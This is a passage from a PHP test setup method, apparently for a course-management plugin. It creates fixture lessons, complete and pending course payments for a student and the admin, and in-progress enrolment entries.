     $this->lessons[] = $this->addLesson(array('course_id' => $this->courses[2], 'author_id' => $this->users['lecturer1'], 'slug' => 'course-3-lesson-1', 'title' => 'course 3 lesson 1'));
     // Lesson for course 4:
     $this->lessons[] = $this->addLesson(array('course_id' => $this->courses[3], 'author_id' => $this->admin_id, 'slug' => 'course-4-lesson-1', 'title' => 'course 4 lesson 1'));
     // Add payments.
     // Payment from student1 for course 1 (complete):
     $this->payments['complete'] = $this->addPayment(array('payment_type' => 'course', 'payment_status' => 'complete', 'course_id' => $this->courses[0], 'user_id' => $this->users['student1']));
     // Payment from student1 for course 2 (pending):
     $this->payments['pending'] = $this->addPayment(array('payment_type' => 'course', 'payment_status' => 'pending', 'course_id' => $this->courses[1], 'user_id' => $this->users['student1']));
     // Payment from current user for course 3 (complete):
     $this->payments['current'] = $this->addPayment(array('payment_type' => 'course', 'payment_status' => 'complete', 'course_id' => $this->courses[2], 'user_id' => $this->admin_id));
     // Add entries.
     // Entry for student1 for course 1:
     $this->entries['inprogress'] = $this->addEntry(array('payment_id' => $this->payments['complete'], 'course_id' => $this->courses[0], 'entry_status' => 'inprogress'));
     // Entry for current user for course 3:
     $this->entries['current'] = $this->addEntry(array('payment_id' => $this->payments['current'], 'course_id' => $this->courses[2], 'entry_status' => 'inprogress'));
 }